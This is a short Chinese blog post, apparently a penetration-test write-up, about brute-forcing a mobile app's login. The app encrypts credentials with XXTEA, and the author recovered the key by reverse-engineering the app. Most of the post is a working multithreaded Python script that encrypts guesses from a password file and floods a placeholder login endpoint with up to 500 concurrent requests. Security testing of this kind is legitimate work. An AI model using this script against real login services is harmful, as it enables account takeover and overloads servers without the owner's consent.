对加密的应用进行暴力破解

    测试某APP需要进行暴力破解,以验证网站是否易受撞库、暴破等安全威胁。虽然网站没有采用SSL安全链路传输,但用户名和密码这两个关键字段进行了加密。密文如下:

phone=0MX9YvaTzdcAm9dZSmx7Dg==&passwd=krz2gix+C2S9j8dIX++R6A==

    首先使用base64解码,结果是乱码。参数在传输前进行了加密,加密方法可以通过逆向APP进行分析。使用xxtea进行加密。

xxtea是tea(Tiny Encryption Algorithm,TEA)微型加密算法的二次升级版。在获得加密算法之后,通过对app逆向分析,也发现了秘钥。通过python脚本发送http请求模拟暴力破解,来观察攻击面:

    代码如下:  

import xxtea
import base64
import requests
import threading
import time

uri = "http://victim/login"
threadLimit = 500
requestIndex = 0

def encode(text):
    key = "******-****-****-8CA6-*******"
    return base64.b64encode(xxtea.encrypt(text, key))

def postRequest(phone, passwd):
    data = {"isEncript": 1, "phone": encode(phone), "password": encode(passwd)}
    requests.post(url=uri, data=data, headers=header, proxies=proxy)

header = {
    "Cookie": "JSESSIONID=20C0F078FC09500030ADA210338C1DA1",
    "device": "network=WIFI&device_id="
              "4dafb&client=&cityName=&os_version=24&lat=&lng=&ver=111&cityCode=000",
    "client_id": "IMEI_a4a12ea2bde96fc3729382719421",
    "ver": "111",
}

proxy = {"http": "127.0.0.1:8080"}

with open('pass.txt', 'r') as f2:
    PassList = f2.readlines()
f2.close()

while requestIndex < len(PassList):
    while threading.activeCount() < threadLimit and requestIndex < len(PassList):
        thread = threading.Thread(target=postRequest, args=(1333333333, PassList[requestIndex]))
        thread.start()
        requestIndex+=1
    time.sleep(0.01)
        

通过添加burp代理,可以使用burp观察请求结果,比较方便。

你可能感兴趣的:(WEB安全)